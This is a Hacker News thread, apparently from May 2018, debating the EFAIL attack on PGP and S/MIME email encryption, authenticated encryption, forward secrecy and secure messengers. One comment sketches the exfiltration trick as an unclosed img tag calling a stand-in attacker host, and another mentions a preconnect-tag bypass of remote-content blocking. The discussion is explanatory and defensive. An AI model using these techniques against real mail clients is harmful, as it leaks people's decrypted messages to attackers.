But looking at the RFC you're right that there's only one authentication tag (I also looked at the GPG implementation as well as the proposed OpenPGP RFC for AEAD -- and it looks like they implement chunking on top of OCB/EAX/GCM for this reason). I stand corrected.
I think what people are saying is that this has been represented as an intrinsic flaw in PGP and that this may cause the media to basically say PGP is broken.
I agree that this is significant because it affects many users and the potential effect is extremely negative.
On the other hand if the headlines on this were more focused I think people on HN would not have reacted so negatively.
Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now; the attack published today is an applied refinement of theoretical tools we've had for a very long time.
The MAC of a PGP message is the SHA-1 of its plaintext appended to the message.
There are coherent ways to downplay today's announcement, but "PGP isn't broken" isn't one of them. The best you can do is "PGP is broken but we already knew that".
What would be the most sensible steps forward for the PGP maintainers? Is this a rewrite, or can they iterate though and make incremental improvements around the flaws that have been discussed over the past decade?
>Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now; the attack published today is an applied refinement of theoretical tools we've had for a very long time.
Yes. But unless I've missed something no one has bothered to even attempt any modernized, improved replacement, so we continue to muddle along. I've certainly heard complaints about existing secure email technologies for well over a decade, but at the same time the cryptography field has never offered an upgrade. Instead it's always been "completely give up on the concept of email (which in no way needs to be insecure) for these modern hip non-federated often proprietary clunky slow kitchen sink instant messenger things instead". To which the answer has and continues to be "no".
Maybe we live in a world where the creation and upgrading of a technology like email is no longer feasible and that's just how it is. If so though I foresee email as it is existing into the foreseeable future, and in turn it'll be useful to have some sort of crypto bolted on top, as a marginal improvement vs entirely plain text. Hopefully there will be enough security oxygen that OpenPGP could at least modernize the foundations a little even if it meant some breaking changes to old implementations.
No, contrary to what you're saying, virtually all the work done in retail cryptography over the last several years has been in secure messaging. Don't send secrets over email; use a cryptographically secure messaging application, like Signal or Wire.
It woulds still be great to get some sort of protocol that will work over email. This is still the de-facto way of communication. If we can secure it, it would be a massive win. Much like the wide-spread use of HTTPS over HTTP was a massive win.
Why would that be a good thing? You'd still be left with a system that leaks immense amounts of metadata, which is often all government adversaries really care about, where the majority of the installed base isn't encrypted and you have to interoperate, and the vast majority of users gets access to messages through a web browser and so is hamstrung on secure delivery of encryption in the first place.
I think the GP's desire is not email per se, but rather an open and federated protocol like email so we aren't dependent on a single commercial vendor. I'm not really sure how practical that is since it's really hard to get broad adoption of a new protocol on today's internet.
But at its core, the promise of pgp/gpg is the promise of encrypted and authenticated file transfer.
The file might come from ftp, samba/cifs, Dropbox/Google drive/etc, from tape or HD backup - or come attached to an email.
It may come from yourself, or from a friend.
But the promise is that between the encryption and signing - and the verification and decryption - the file remain the same. The zip file is as (Un)safe to extract, the font as (Un)safe to render - the installer or the executable as (Un)safe.
If you have (authenticated) file encryption, you have encrypted email.
If you want to use authenticated file encryption as a secure messaging platform, you should probably invest in a more sane format for your plaintext file than email. And a better wrapping transport than email.
The fundamental problems with email+pgp as a secure messaging platform isn't pgp alone - but the intersection of email-the-format, email-the-protocol mixed with the mail user agents and their 80s trusting file handling (ok, that's unfair to the 80s, we're still too trusting when it comes to files in general and transclusion in particular).
In short, I don't think we should give up all of pgp as such (open, secure, authenticated file encryption and Web of trust).
But it's probably true that newer protocols are better for "real-time" messaging, and perhaps usenet is better for hold-and-forward.
[ed: I'd love to hear some current informed discussion about: https://saltpack.org/ mentioned in this discussion here. From the previous hn discussion it seems reasonable; a sane format (message pack), authenticated encryption primitives - but I worry a bit about public key handling - is there Web of trust/certificate support - and if so, is it sane? I'm not saying pgp/gpg wot is sane. But neither is ssh (certs) in practice. I'd much prefer wot - were for some applications I could choose arbitrary key/certs as authorative CAs and give out short-lived "certs" (signed public keys with valid from-to).]
At the least I'm not sure this is legally feasible under ERISA electronic delivery requirements, to name a single one amongst a host of other often incredibly complex regulations. It might be ok under the UETA, but either way that wouldn't be my call.
I am 100% sure that it wouldn't be ok with coworkers, customers, and in turn bosses, so demanding to cease all usage of email would get me fired. I mean, even entirely plain text email isn't sufficient to get anyone to stop using it to deliver secrets. It's been a real improvement just to have the MUA<>Server connection be encrypted, and even that is probably still not universal!
Doesn't Signal require you to publish your actual phone number, which reveals your RL identity in the network pretty much completely controlled by government?
Explain? I Googled it and it seems that Signal still doesn’t support having an account that isn’t tied to a phone number. Some of the results suggest working around the limitation by obtaining a phone number just for Signal from third parties, but that’s not a particularly reasonable alternative.
This article explains how to create a second phone number, for usage for Signal. Which confirms my assertion that you need phone number, and makes your statement of "no" completely false. Among options offered:
The desk phone at your office.
A free Google Voice phone number, if you live in the United States (this is what I do).
Any phone number from any online calling service, like Skype.
A cheap pre-paid SIM card for a few dollars a month (and temporarily put it on your phone to register your second Signal number).
Twilio, a cloud service that allows developers to write software that makes and receives phone calls and SMS messages.
Obviously, each of those still requires registration within government-controlled phone network, and additionally also may require you to entrust your security to a third party - such as your employer, Google, Microsoft or Twilio. So in fact, you refutation of my assertion "you need to publish a phone number" is "you can have two phone numbers". This is not serious.
As an added bonus, some of these creative solutions also make MITM-ing the whole scheme as trivial as "our corporate phone tree has changed, please use new number 1-555-666-666 to contact me from now on". You have no way to verify it, nobody knows how corporate trees and phone prefixes look like. And of course if the person is fired or reassigned or leaves the job (which never happens!), their account is now under control of some unknown third person.
Signal doesn't entrust security to carriers. Messages are sent E2E encrypted to the registered device over the internet. If someone MitMs a device, the safety numbers would not match on either end.
Signal, and the Signal server operators, malicious or not, do not know the phone numbers of people you are communicating with (presuming the secure enclave on the server isn't cracked). Signal does know your phone number, so someone could figure out if you use Signal. If you're worried about that, or personal sharing of your number, you could falsify information to create an anonymous phone number, or you can just use Matrix or Wire.
My experience of Signal is that people don't reliably follow up on safety number changes, yet keep using it in a MITM-vulnerable way. Including myself, honestly, because people change or reset phones frequently. Is your experience different?
At least with GPG I can factory reset all of my computers and phones and not have to re-establish trust if I take the right steps to preserve the secret key information.
Even if I don't preserve that correctly, people change computers less often than phones.
On the other hand, I'll admit that my GPG key is newer than my Signal number (which I've owned for 15 years), due to upgrading crypto algorithms.
It isn't. I rarely send sensitive messages, however, so I feel that some surveillance potential is acceptable, to save time and effort. The few times where I did, I first verified both ends.
I perform the safety number verifications in exchange for forward and backward secrecy. GPG isn't enough to establish a truly confidential communication channel, I think. (Unless you erase keys after every sent message, maybe.)
I'm not happy with Signal's dependence on a phone. Ideally I'd like to use a pocket-sized SBC for secure messaging. Come to think of it, that sounds rather like a phone. Just, uh, without the cellular hardware, and with a user-installed OS.
It entrusts the identity to carriers. What use of having perfect peer-to-peer security if you can't be sure who you are talking to? So you will send the data to Eve in a perfectly secure way, while thinking you're talking to Bob - and that's better than Eve breaking the encryption? I say it's much less work for Eve - instead of employing vast resources to exploit a tiny vulnerability in encryption, she would just need to take over a phone number. And if she works for the government, it's not even a hard thing to do.
Again, you can be sure, by comparing the safety numbers. It's the same as comparing SSH or GPG key fingerprints. If someone else masquerades as Bob, the numbers won't match. See section III-D3, key fingerprint verification:
https://www.ieee-security.org/TC/SP2015/papers-archived/6949...
That would be true if people routinely verified fingerprints of their contacts. I don't think it happens more often than any other commonly ignored security precautions. Also, what happens if the phone is lost/damaged/replaced with a newer model? I assume new key and thus new fingerprint?
Signal, WhatsApp, Matrix et al. show notifications when the participant’s device keys change. You’re right that most users don’t verify. The opportunity for detection or prevention of common forms of surveillance is better than none at all.
>No, contrary to what you're saying, virtually all the work done in retail cryptography over the last several years has been in secure messaging.
That is not contrary to what I'm saying, that is exactly what I'm saying. Much of the world, both corporate and private, do not want "messaging", they want "email". I use scare quotes for the latter because I want to distinguish between email as in existing technical standards dating all the way back to RFC 561 and email as-in that kind of information transfer service and format, distinct from messaging. Messaging has its place too, but there is clearly a desire for an electronic version of sending a piece of mail. It fits human and cultural psychology. It produces a different kind of consideration and formatting, which has both its merits and demerits. But messaging is not a replacement for email. You can insist that it is but I don't think you will be successful, and you should know better then most that security which isn't used isn't useful security.
>Don't send secrets over email
Back here on Planet Earth sending all sorts of secrets over email and using it for authentication of incredibly important accounts is the regrettable rule, not the exception. Like use of passwords. It is the reality in which we live. I see no sign of it changing either unless there is a direct in-place upgrade available. Which there is not.
>replace email with this thing that requires a phone number and is not like email
No.
>replace email with this thing that didn't even bother to add e2e crypto until 2016, claims to be agpl/gplv3 but then adds a bunch of other random crap on top, etc. Also not email.
Your argument is "everybody on the planet including all corporations and governments should instantly abandon email for an instant messenger thing instead of which there are many and no federation" which is a bullshit argument and you damn well know it. FFS, how often over the decades in security have we had to make do with highly suboptimal solutions that were the lesser of evils? When did you of all people become a head-and-feet-in-the-clouds pure idealist?
It's like coming into a global warming discussion and demanding everyone forgo personalized point-to-point mechanized transportation because of inherent inefficiencies vs mass transport. Or saying IRC is shit and therefor everyone should move to mailing lists or whatever. It's worse then even suggesting moving to something that's still "groups in 'rooms' with instant messaging" which at least is a technical feature match, it's suggesting dropping an entire UX. It's not happening. Path dependency is a thing, and so are specific desirable features that can be used alongside other channels for different tasks.
I gave reasons. You're the one implying everyone who doesn't dump a straight forward, desirable UX global standard for a bunch of silo'd different formats are idiots/old fogies/don't care about security/privacy at all. The very simple fact that even accepting dumping that UX for messaging service you still couldn't simply say "switch to this only" but had to list a couple of things further highlights the whole problem. Is every individual and organization on the planet also supposed to support every single secure messenger? If not what is the winner vs the losers tptacek? Saying I had no argument but"no" and ignoring everything else is insulting sure, but I also think it's not a helpful attitude to making the world a more secure place period.
Yes, us head-in-the-clouds idealists with our pie-eyed demands that encrypted message protocols not leak the contents of our messages to anyone who can intercept them. What will we demand next, forward secrecy? We should climb down from our ivory towers.
>Yes, us head-in-the-clouds idealists with our pie-eyed demands that encrypted message protocols not leak the contents of our messages to anyone who can intercept them.
That's not what you're demanding. You're demanding the end to a UX. That's entirely orthogonal to security, and my whole point is that's very different from pushing people to go from an insecure version of a UX to a more secure version of a UX (or at least a strict superset of that UX). It's straight forward to argue "don't use HTTP, use HTTPS", or "don't use SMS, use {secure messenger}"[1], or "don't use POP, use POPS or IMAPS" or even "don't use an 8 character password that is the name of your dog on a website, use something random and preferably a password manager".
But that's not your argument.
1. Though again, the basic fact that I can't just tell anyone in the world, on any device at all, what {secure messenger} vs "SMS" should be is inherently suboptimal though less so.
If you know of a way of ensuring forward secrecy without a response from the recipient, I'm all ears. Considering that NaCl's crypto_box() interface doesn't provide forward secrecy, I feel somewhat safe in believing it's flat out impossible.
Sure, the sender can generate a temporary key pair, and immediately toss out the private half. A passive recipient however cannot do the same. We need a handshake of some sort.
If you want that handshake for email, I don't know how to do that without giving the long term keys to the mail server, which in most cases is operated by a third party that reads your emails for a living. I'd love to have a solution for that, but I don't believe there is any.
Simply put, forward secrecy doesn't make much sense in the context of email.
I don't understand any part of this argument. What wouldn't make sense would be for crypto_box() to provide forward secrecy, since it isn't a messaging protocol, but rather a simple primitive for authenticated public key encryption --- a low-level building block from which you build protocols.
It's obviously not impossible to build basically any peer-to-peer end-to-end protocol using email as a transport. But, if you were right, and it was, that wouldn't mean "forward secrecy doesn't make sense for email"; it would mean "cryptographic security doesn't make sense for email".
Thomas, you're frightening me. I'm talking about relatively basic stuff here. I almost hope I'm wrong.
The only way one could ensure forward secrecy for everyone (sender and recipient), is with a handshake (typically a hail-challenge-response). This handshake can only happen when the recipient is online.
If the recipient is not online, as is expected of asynchronous communication applications such as email, an intermediate server has to hold the message for him. At this point, you either give up on the handshake, or hand over the secret key to the server.
Good luck setting up a trustworthy server. Even if I hosted my stuff at home, I might not be too keen on leaving it on where it could be examined by forensics while I am away. It's not bad, but it's not perfect either. And forget about third party servers, they are untrusted by default. I'd rather give up forward secrecy instead, and keep my private key on an encrypted file on my personal laptop.
So we can't have that hand shake. The protocol has to look like: (i) Alice and Bob know of each other's long term public keys. (ii) Alice encrypts then send a message to Bob. (iii) Bob receives then decrypt that message.
If I knew of a protocol that followed those constraints and still preserves forward secrecy, you could be damn sure I'd put it in Monocypher—one less thing the user could screw up. (Actually, I'd love to be proven wrong there, it would improve my crypto library right away.)
> It's obviously not impossible to build basically any peer-to-peer end-to-end protocol using email as a transport.
You'd still have to give the long term keys to a machine that is online when the message is sent. For asynchronous protocol, this means always online, and we're back to square one.
> But, if you were right, and it was, that wouldn't mean "forward secrecy doesn't make sense for email"; it would mean "cryptographic security doesn't make sense for email".
Are you implying that forward secrecy is required for "security"?
All of the first part of your message constitutes much of the rationale behind Signal Protocol, which is asynchronous, does not assume participants are online at the same time, and does not involve you handing secret keys to a server. But, of course, Signal isn't the only way to accomplish forward secrecy.
Am I "implying" that forward secrecy is required for message security? No, I'm saying it directly.
> All of the first part of your message constitutes much of the rationale behind Signal Protocol
OK, I'll look it up, thanks. Though I suspect I already have (the 3-DH the Wikipedia mentions looks familiar, I suspect it is X3DH). Better than nothing, but not quite perfect.
Sorry, I'm just not nearly as familiar with the intricacies and differences between them, know that you definitely know your stuff on crypto, and always thought Matrix seemed cool/interesting.
Yeah right. "How can we communicate this piece of secret info?" - "Oh, that's simple. You just need to a) switch to your mobile device, if you don't have one, buy one. If you don't have mobile phone line, buy that one too while you're at it b) install a software you've never heard about before - trust me, it's ok because nobody ever had any trouble with software downloaded from internet c) send your private information - namely, your private phone number - to it d) send your private information to me e) receive my private information about my phone number - trust me, it doesn't have to be communicated securely f) get secret information sent to your mobile device g) figure out how to get this information to your desktop device now securely, it's not my problem anymore, figure it out h) figure out how to remove this information from your private mobile device. You see, much simpler than sending an email!"
At some point, all the recent work that tptacek mentioned on encrypted messengers is going to percolate up into email.
Taking something like megolm [1] and running it over SMTP is such an obvious answer that, eventually, somebody will give it a go. Until then, we get to keep having this argument on the internet every few weeks...
FWIW thank you for that, even without PFS and no adoption it's at least interesting to see a more recent effort to work within the flawed existing email system but do a bit better then PGP. Like OpenPGP or S/MIME themselves I guess, simply made with something beyond 90s era crypto experience. Although even for something at that stage I'm surprised they don't have anything I can see about what the identities they use are like in the FAQ at least. That's a significant practical difference in PGP and S/MIME for example.
Now that I think about it there is also a modest effort to simply enhance the UI of the whole deal through transparent embedding vs as an attachment. I think modest efforts of that nature that are evolutionary vs revolutionary around existing installed base will like it or not continue to serve an important practical role.
> Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now
Do you mean that gpg is broken for non email use cases as well? Eg. encrypting tarball with backups using gpg and then storing it on some cloud service?
In this particular case, some implementations of one of the use cases are broken. This is completely incorrect to say PGP is broken as it implies all (or most) use cases and not only particular scenario.
The issue is apparently that pgp outputs the plain text to a pipe before checking the MAC in the message. Instead, they provide an error code when the MAC doesn't fail.
Apparently a lot of implementations don't check for this error. In general, this leads to message malleability. Malleability is always bad. It just so happens that in this example, they used malleability to sneak in <img> tags.
So the issue here is that PGP outputs plain text even when the message fails the MAC check.
This is the big fail of MIME, that literally concatenating different sections together into one document is the intended way of implementing much of multipart handling.
The fact that emails can contain images and active HTML has caused a slurry of security problems over the years.
Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.
> Let me tell you, if my emails were sensitive enough to require PGP, I would also use an email client which does not load images or evaluate HTML by default.
This approach requires too much diligence for most cases: people will forget to switch to the encrypted system, they won’t have a key / it’s expired because they don’t use it regularly, the software will remain horrible because nobody uses it, etc. Encryption needs to be enabled and usable by default if you don’t want a regular stream of human error.
305 comments
[ 3.1 ms ] story [ 287 ms ] threadto GnuPG-Users
[taps the mike]
Hi. I maintain the official GnuPG FAQ. So let me start off by answering a question that is certainly about to be asked a lot: "Should we be worried about OpenPGP, GnuPG, or Enigmail? The EFF's advising us to uninstall it!"
https://www.eff.org/deeplinks/2018/05/attention-pgp-users-ne...
Werner saw a preprint of this paper some time ago. I saw it recently. Patrick Brunschwig of Enigmail saw it. None of us are worried. Out of respect for the paper authors I will skip further comment until such time as the paper is published.
It would've been nice if EFF had reached out to us for comment, rather than apparently only talking to the paper authors. We hope they'll reach out next time.
What am I missing here? Is the latter mode on by default and MUA are widely known to correctly deal with the error code in a secure way?
In a context where pgp is used, which is not me receiving promotional material or forwards from Grandma, why do you consider it unlikely that mail is to be sent as plaintext and not as html?
But everyone adds transclusion (in-line rendering of linked content, which leaks data and opens up the door to bugs), fonts (ie: programs), images (historically not a great idea), and some even Javascript!
And that's not even all the muas that runs in the browser, and try to expose some safe subset of itself to be used for rendering the mail body.
So, html Email is insecure, when contrasted with plain text email.
Using pgp as "code signing" for hypertext applications ("html emails") isn't nearly enough.
Sadly, afaik there's no agreed "safe" rich text format for mail. Absurdly rtf would probably be better than html mail.
Anyway, I don't see how anyone could expect html mail to be safe in the first place.
If I'm expecting encrypted email, I don't expect it formatted as HTML, so I can just disable its rendering. At which point the attacker can send it any format they want, my mail client just won't render it.
The parent to my comment says this is unlikely, and I don't understand why. Hence my asking (and now I see I phrased it the opposite way).
I've always used plaintext when using PGP, same with others who have used it with me... I thought it was standard practice. I don't see the point in using HTML for one-on-one encrypted conversations. HTML is for newsletters and similar content. Although I assume this means "don't use HTML at all in your client, not just for encrypted email".
I'd disable HTML rendering completely until everything becomes clearer.
Of course some people configure exceptions for people in their address book, this could then be exploited by this issue.
I tried to replicate the Thunderbird attack vector (H₂), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version?
Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail.
(Edit: Added a sentence regarding webviews)
I think the issue is that HTTPS is a pain in the ass for a few, while encrypted email is a pain in the ass for everyone. Between client cert distribution to wonky webmail support to escrow challenges for regulated orgs it requires deliberate effort for all parties forever.
For personal email GPG is still pretty much the way to go if you don't want to trust any 3rd party though. Few people seem to care about that these days however. The fact that GPG's UI is abysmal doesn't help.
For one, GPG tools are difficult to use. Anything beyond a simple 1-click-setup-ready-to-use-including-keyserver-publication will make any wide market adoption difficult.
On the other, the GPG standard is a bit ... clunky. Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own. I imagine other, similar, improvements could be made, up and including having GPG also sign the email headers before pushing it out into the world.
As for the tools, they seem very easy, especially engimail which IS 1-click setup.
> add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own
This is exactly what it is doing. PGP/MIME is a thing.
If PGP/GPG wants adoption they need to eliminate those friction points, a TOFU model with automatic key redistribution should lower friction sufficiently but except TOFU there isn't much development in that direction.
>This is exactly what it is doing. PGP/MIME is a thing.
I don't think I ever received a single PGP/MIME email. I don't think a lot of people use PGP/MIME. It's a niche setting for a niche software.
https://autocrypt.org/
A similar (and complementary) approach is outlined in RFC-7929:
https://tools.ietf.org/html/rfc7929
which is supported by GPG and a few email providers.
True, it is 3-click setup.
> I don't think I ever received a single PGP/MIME email
I haven't seen non-PGP/MIME emails in ages. In fact, Engimail uses PGP/MIME by default.
The standard is PGP. OpenPGP is an implementation.
PGP and GPG are implementations of this standard.
Error reporting in email clients that support OpenPGP is awful because they all work by some variant of exec-ing the GPG process and piping its input/output, so half the time you'll try to set up PGP and it just won't work. Even when it does work, no extant mail program has yet reached the level of having an actual UI/UX designer spend even a couple of months of work actually trying to make the PGP experience a good one - and why would they when no-one's prepared to pay for it? Security professionals are willing to work for free on things like security audits of the GPG code, because you can get a conference paper out of that, but there's no corresponding channel for usability work.
> Ideally it should be modernized to take advantage of the email format; add generic messages about encryption in alternate mime content bodies and simply encode the encrypted messages into it's own.
PGP/MIME already does this. We don't need a new standard. We need to get better at using the standard we have.
Having Let's encrypt available as a free option lets the browser makers force web services to use https, since "anyone can add it, it's free! (Never mind the increased complexity and even more things that can fail and break things in weird ways)".
I suppose it'd be harder to do something similar with email.
Google likes HTTPS, it makes the web safer, and keeps middle-boxes from interfering with their stuf.
However, Gmail likes access to the plaintext stuff. They no longer use email content for ad-targeting, but they still need this access for spam-filtering and auto labeling.
Gmail is essentially e-mail for a lot of people, so what they do matters.
Absolutely. As mentioned in this¹ article:
“Though Google announced that it would stop using consumer Gmail content for ad personalization last July, the language permitting it to do so is still included in its current privacy policy, and it without a doubt still scans users emails for other purposes. Aaron Stein, a Google spokesperson, told NBC that Google also automatically extracts keyword data from users’ Gmail accounts, which is then fed into machine learning programs and other products within the Google family. Stein told NBC that Google also “may analyze [email] content to customize search results, better detect spam and malware,” a practice the company first announced back in 2012.”
――――――
¹ — https://theoutline.com/post/4524/remember-when-google-said-i...
Email are also encrypted in transit (almost) universally.
Encryption in transit has absolutely nothing to do with keeping the data hidden from the service you're visiting.
[1] https://twitter.com/seecurity/status/995964977461776385
[2] https://twitter.com/gnupg/status/995931083584757760
[1]: I mean, yeah, they could ship something that hacks the Thunderbird process and gets the rest of the email, but that's just crazy talk. Nothing that has a sensible API that fits with what Thunderbird is doing now can solve the problem.
Sending a message without identifying the author, for example.
Am I missin something?
Is it just me or does CBC (and block ciphers in general) always seem to be a troublemaker? Even if it's not directly at fault, it seems to always make everything more difficult to secure, and I don't recall ever having heard of a single benefit gained by using them. Why do people insist on using block ciphers instead of stream ciphers? What benefits do they have?
These days, the big downside to stream-ciphers is nonce-reuse. It can be hard to guarantee each message has a separate nonce on e.g. embedded platforms.
Since most embedded platforms have limited entropy and/or no hardware RNG it is more difficult to generate proper distinctive, unpredictable iv's (in the case of CBC). If most of the nonce is random and the rest predictable (like GCM) the same problem applies. The nonce for GCM for instance is at least 8 bytes random in most implementations.
There are enough ways to generate sufficiently randomized iv's. People just don't bother usually. (guess 0 as an iv for instance on many embedded systems).
Typically with a re-used IV the same plain text will lead to the same cipher text, which can be an issue.
On the other hand with a re-used nonce you can basically recover the xor of two plain texts from two cipher texts. This leads to plain text very quickly and is a much more serious issue.
The problem is authenticated versus non-authenticated ciphers. CBC, CTR, and CFB are non-authenticated cipher designs. EAX, GCM, and OCB are authenticated designs.
I mean that was the whole concept of S/mime, right? Federated key/trust and public key cryptography?
[1]: https://twitter.com/seecurity/status/995936859980222464
A few days later, they got an email asking for a phone call, which wasn't followed up upon--I'm not sure to what extent this is GnuPG's fault, whether this is a usual way of communicating a serious vulnerability. It would've been better if they called em back, definitely goes for both parties.
Then after a few months of silence, 2.5 weeks ago, they received another email with a different title that, according to Werner Koch, was too redacted to act upon:
I mean yeah, in theory, BOTH parties could have been better at communicating and following up on it. But both parties are probably very busy and this kind of "no you call me back" is the sort of thing that falls through if you have to make choices about what to spend limited time on. That's why there exists protocol and coordination to tell something is really serious/urgent.It does seem to me that the security researchers were a bit too trigger-happy on the redacting of information, in particular unnecessarily so in private emails to the security folk they expected to act on the vulnerability.
> First, the direct exfiltration attack abuses vulnerabilities in Apple Mail, iOS Mail and Mozilla Thunderbird...
I would be interested to see the attack working on a Thunderbird client with Enigmail installed and no other settings changes (like; loading external resources).
1. Use movemail to receive email instead of IMAP or POP (there's an interesting vector to get your remote resources loaded by using movemail. If you read the code, you can probably guess it).
2. Enable remote loading for all senders by default.
3. Try to send an email with a sender you think will be whitelisted.
4. Convince the user to click on a link.
From the paper: "For example, in Thunderbird and Postbox we can completely redress the UI with CSS and trick the user into submitting the plaintext with an HTML form if he clicks somewhere into the message."
This is bad news. Also, they claim/suggest that the following:
is a "bypass for remote content blocking" in Thunderbird, whatever that may mean exactly.EDIT: Mozilla's docs at https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types say about preconnect: "Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly." (emphasis mine). If that is really the spec and I understand it correctly and Thunderbird behaves differently, then that seems like a bug in Thunderbird.
From a quick test it seems like a completely standard Thunderbird/Enigmail not only checks the error code from gpg, but also doesn't render HTML by default. There must be something more to this, unless something was fixed quite recently, in which case that would seem very relevant to the announcement.
Does this mean that GnuPG and S/MIME don't authenticate/sign encrypted messages at all? Or that email clients still try to display encrypted messages that are not properly authenticated?
It seems that they provide support for OCB and EAX. I would prefer support for chapoly to be honest.
https://efail.de/#will-signatures
Or the client decrypts it even if unsigned, or the attacker signs the message.
> clients that do not do MDC (MDC was introduced in 2000, every non-prototype client uses it)
I think the client would not only need to use MDC, but also enforce its presence and validity, which is somewhat more likely to allow an attack.
> client that rendered HTML mail with broken markup,
The HTML5 specification defines exactly how HTML inputs should be processed for nearly every possible input, so this applies to any HTML5 compliant email client.
> client that automatically fetches remote resources
I have this turned off in my client, but many email users these days (possibly even those using GPG) have settings to automatically download remote content.
> EFAIL describes vulnerabilities in the end-to-end encryption technologies OpenPGP and S/MIME that leak the plaintext of encrypted emails.
I don't understand how this is being touted as vulnerabilities in OpenPGP and S/MIME.
Sure there is undefined behavior in the OpenPGP and S/MIME standards but if implementations choose an insecure behavior for the undefined behavior, then it is a flaw in the implementation, not the standard.
[0]: https://news.ycombinator.com/item?id=17064360
[1]: https://twitter.com/seecurity/status/995936859980222464
(Note: I'm reiterating / summarizing the findings of AnaniasAnanas from here.)
If you'd even taken the time to look at the Efail.de website, you'd see the (extensive) timeline of contacts the Ruhr team made, including liasing with CERT teams, starting last year.
Wait, if the signature isn't created with the same key as the message encryption, how does this even work? Shouldn't the client fail to either decrypt the message or validate the signature?
This is very much an issue with the S/MIME standard, which has no defence against this kind of attack. For PGP it is slightly different, as there is a defense against it (the 'MDC', a sha-1 hash of the plaintext) but it has a soft-fail if the MDC is not present.
Both are issues with the standard. For S/MIME it is a total failure, whilst for PGP the failure is mitigated slightly by an obscure and non-urgent error message. But, it is unreasonable to expect users to act on this kind of error message. Really, what you want here is a hard fail, but that would break backwards compatibility.
[1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
GPG does optionally support signing, which provides for integrity for message contents, but it is optional, so is not a useful mitigation here.
It supports a Modification Detection Code (MDC), which is just a hash of the message. In scenarios where GPG won't decrypt without an MDC being present, it would be a reasonable defence against this attack, because to generate a valid MDC, you would need to know the entire contents of the message, and if you know the entire contents of the message, you wouldn't gain anything from this attack.
No, they don't. I described a naive RSA+AES hybrid cryptosystem here that includes HMAC authentication without a pre-shared key: https://paragonie.com/blog/2018/04/protecting-rsa-based-prot...
Why in the heck does anyone ever send encrypted-only, non-signed messages?!?!
(Though note that the vulnerability here still applies to signed messages too: https://efail.de/#will-signatures)
OpenPGP is not broken. Nothing in your paper has anything to do with OpenPGP. This is simply spreading overblown FUD for your 15 minutes of mainstream media fame.
This reminds me a bit of the "amdflaws" debacle, although that one was even shadier and might have been an attempt at manipulating AMD's stock price.
This one day "teaser" makes no sense from a security perspective, especially when it fails to actually tell you the proper way to mitigate the attack (no, "do not use PGP or S/MISE" is not a reasonable mitigation for people who actually rely on these technologies, especially when you can mitigate the attack by changing your settings or using a different client). Saying that PGP and S/MIME themselves are broken when it's mainly (but not entirely) a MUA problem is also rather disingenuous.
The issues are so different that it's probably pointless to try to rank them by severity. I personally always considered that HTML email was a terrible idea security-wise so the idea of HTML PGP sounds a bit like putting mustard on pasta. That being said the PGP/SMIME implementations really ought to detect tampering and error out in this situation, it's always better to fail early.
The gadget attack on PGP is completely an exploit against PGP, but this publication also treats other attacks. At the very least, if you weigh this by volume of text, they focus a lot on pure client mistakes (first attack) and S/MIME (half of second attack).
I assume that aerc like mutt is not affected by this "vulnerability"?
https://pbs.twimg.com/media/DdJ_d_wWsAEclUs.jpg:large
1. Hacker need to intercept the encrypted email. 2. HTML tags/remote content are blocked by default on most email client.
Still an important vulnerability, but not enough (for me) to disable enigmail, I know I'm safe with blocked remote content.
By the way I hate this kind of "buzz" disclosure. Just disclose fully or wait.
Curious, how?
Example : <img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--
If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.
Anyway, the attacker still need to get a hand on your encrypted email.
(Edit: Formatting)
Ruling out the presence of an exfiltration channel is hard. It's better to prevent rendering of messages with invalid authentication code in the first place (and not rendering it and showing a warning).
That is the case for all encryption vulnerabilities, and it seems a little strange that you keep pointing this out. Of COURSE the attackers need access to the encrypted text; the entire point of encryption is because we want to protect our data when someone else has access to it.
If we thought an attacker getting their hands on our encrypted email was not something to worry about, we wouldn't encrypt our emails at all. Why do you keep making that point?
Now, this 'extra stuff' might not be HTML, might be something which might trigger something else. I really do not know but some smart guy might figure out how to exploit that part. Or might not.
Of course, attackers gaining access to your mailbox is still game over, due to password resets etc. via e-mail; but "attackers can't intercept your mail" is a more realistic assumption in 2018 than it was when PGP was designed.
[1]: https://conferences.sigcomm.org/imc/2015/papers/p27.pdf
Some of these thoughts are echoed by Filippo:
> No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error.
from https://twitter.com/FiloSottile/status/996010161427935233
So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke?
As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.
¹: where GPG does the right thing
At the same time, you need to be careful against downgrade attacks.
Either GPG buffers the data and checks for DECRYPTION_FAILED, or the application depending on GPG does. Of the two options, it makes much more sense for GPG to handle this.
Still, GnuPG could do the buffering automatically for small messages and force explicit configuration otherwise. The latter might not be realistically enforcable given the compatibility constraints.
Unfortunately this is not supported by the PGP spec, or any other well established spec.
Once the MDC clears, you can just decrypt again, this time writing to stdout.
In Twitter you even linked to Adam Langley's post where he suggests something exactly like STREAM/CHAIN!
Which modern cryptosystems handle this problem? Tahoe-LAFS is the only one that comes to mind. Not being snarky here, I'm genuinely interested in knowing this.
But since you asked, the offline backup software restic[1] uses AEAD (though it's a mix of AES-256-CTR and Poly1305 rather than AES-GCM[2] -- but it's still an AEAD construction). I also recently started working on a paper-backup project, and used ChaCha20-Poly1305 over PGP because of the lack of AEAD (and also because it is vulnerable to surreptitious forwarding -- something that AEAD also solves[3]).
There are distinctions between online and offline protocols (mainly related to PFS), but whether or not AEAD-capable cipher suites can be used is not one of them.
